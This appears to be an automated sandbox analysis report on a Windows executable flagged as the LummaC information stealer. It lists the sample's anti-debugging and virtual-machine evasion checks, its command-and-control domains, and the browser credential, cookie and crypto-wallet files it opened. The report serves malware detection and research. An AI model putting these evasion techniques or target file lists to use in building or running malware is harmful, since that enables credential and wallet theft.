Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460B18 second address: 5460B1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460B1C second address: 5460B2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460B56 second address: 5460B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460B5A second address: 5460B5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460B5E second address: 5460B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460B64 second address: 5460B6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460B6A second address: 5460B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460B6E second address: 5460B8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FCA893D8EF5h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FCA18DB50EFh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460B8D second address: 5460BA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCA18C4F6A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5460BA5 second address: 5460BA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 547090B second address: 547090F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 547090F second address: 547092A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 547092A second address: 547092F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 547092F second address: 5470991 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FCA18DB50EEh 0x0000000f xchg eax, ebp 0x00000010 jmp 00007FCA18DB50F0h 0x00000015 mov ebp, esp 0x00000017 jmp 00007FCA18DB50F0h 0x0000001c xchg eax, esi 0x0000001d jmp 00007FCA18DB50F0h 0x00000022 push eax 0x00000023 pushad 0x00000024 mov si, bx 0x00000027 mov dl, D8h 0x00000029 popad 0x0000002a xchg eax, esi 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FCA18DB50EBh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5470991 second address: 54709D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F6A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d mov dh, ch 0x0000000f call 00007FCA18C4F6A9h 0x00000014 pop ebx 0x00000015 popad 0x00000016 test esi, esi 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 54709D6 second address: 5470A26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, 665467B1h 0x0000000e popad 0x0000000f je 00007FCA893D2AA9h 0x00000015 jmp 00007FCA18DB50ECh 0x0000001a cmp dword ptr [75AF459Ch], 05h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FCA18DB50F7h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5470A26 second address: 5470A2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5470A2C second address: 5470A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5470A30 second address: 5470A44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FCA892850F5h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5470A44 second address: 5470A48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5470A48 second address: 5470A4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5470A4E second address: 5470A6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 mov dl, 69h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FCA18DB50EEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5470A6C second address: 5470A70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5470A70 second address: 5470A76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5470A76 second address: 5470A87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCA18C4F69Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5470A87 second address: 5470A8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5470A8B second address: 5470AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov esi, 42D43DF9h 0x0000000f push eax 0x00000010 push edx 0x00000011 mov eax, 609B02BBh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5470AA1 second address: 5470AC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FCA18DB50F9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5470B21 second address: 5470B8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F6A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FCA18C4F6A7h 0x00000011 sbb esi, 05291C1Eh 0x00000017 jmp 00007FCA18C4F6A9h 0x0000001c popfd 0x0000001d movzx eax, di 0x00000020 popad 0x00000021 xchg eax, esi 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FCA18C4F6A6h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: 5470B8D second address: 5470B92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Special instruction interceptor: First address: C98C6D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Special instruction interceptor: First address: E38A02 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Special instruction interceptor: First address: E61D38 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\YKri2nEBWE.exe TID: 5876	Thread sleep time: -240000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe TID: 5876	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\YKri2nEBWE.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: YKri2nEBWE.exe	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: YKri2nEBWE.exe, 00000000.00000002.2368272162.0000000001517000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: YKri2nEBWE.exe, 00000000.00000003.2226094654.0000000005E33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: YKri2nEBWE.exe, 00000000.00000003.2174597834.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151309651.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2287052008.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2326949332.000000000155D000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000002.2368499776.0000000001564000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2309790359.0000000001564000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: YKri2nEBWE.exe, 00000000.00000003.2226094654.0000000005E33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: YKri2nEBWE.exe	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: YKri2nEBWE.exe, 00000000.00000003.2226172549.0000000005E26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\YKri2nEBWE.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\YKri2nEBWE.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\YKri2nEBWE.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: NTICE
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: SICE
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\YKri2nEBWE.exe

Code function: 0_2_00C7E110 LdrInitializeThunk,

0_2_00C7E110

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: YKri2nEBWE.exe	String found in binary or memory: bashfulacid.lat
Source: YKri2nEBWE.exe	String found in binary or memory: curverpluch.lat
Source: YKri2nEBWE.exe	String found in binary or memory: tentabatte.lat
Source: YKri2nEBWE.exe	String found in binary or memory: shapestickyr.lat
Source: YKri2nEBWE.exe	String found in binary or memory: talkynicer.lat
Source: YKri2nEBWE.exe	String found in binary or memory: slipperyloo.lat
Source: YKri2nEBWE.exe	String found in binary or memory: manyrestro.lat
Source: YKri2nEBWE.exe	String found in binary or memory: observerfry.lat
Source: YKri2nEBWE.exe	String found in binary or memory: wordyfindy.lat

Source: YKri2nEBWE.exe, YKri2nEBWE.exe, 00000000.00000002.2367606087.0000000000E5F000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: /Program Manager

Source: C:\Users\user\Desktop\YKri2nEBWE.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\YKri2nEBWE.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: YKri2nEBWE.exe, 00000000.00000002.2368272162.0000000001532000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2366833614.000000000154A000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000002.2368457794.000000000154C000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2309790359.000000000154A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\YKri2nEBWE.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: YKri2nEBWE.exe PID: 6460, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: YKri2nEBWE.exe, 00000000.00000003.2287052008.0000000001564000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: YKri2nEBWE.exe, 00000000.00000003.2287052008.0000000001564000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: YKri2nEBWE.exe	String found in binary or memory: Jaxx Liberty
Source: YKri2nEBWE.exe, 00000000.00000003.2287052008.0000000001564000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: YKri2nEBWE.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: YKri2nEBWE.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: YKri2nEBWE.exe, 00000000.00000003.2287052008.0000000001564000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: YKri2nEBWE.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: YKri2nEBWE.exe, 00000000.00000002.2368272162.0000000001529000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
